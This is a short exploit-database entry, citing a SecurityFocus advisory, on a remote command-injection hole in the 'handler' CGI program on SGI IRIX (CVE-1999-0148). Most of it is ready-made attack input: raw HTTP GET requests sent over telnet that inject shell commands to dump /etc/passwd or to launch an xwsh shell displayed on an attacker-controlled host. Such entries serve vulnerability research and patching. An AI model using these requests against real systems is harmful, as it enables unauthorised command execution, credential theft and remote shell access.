source: http://www.securityfocus.com/bid/380/info A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system. telnet target.machine.com 80 GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0 or: telnet target.machine.com 80 GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download NOTE: large spaces are actually tabs.
Related ExploitsTrying to match CVEs (1): CVE-1999-0148
Trying to match OSVDBs (1): 85
Other Possible E-DB Search Terms: SGI IRIX 6.4, SGI IRIX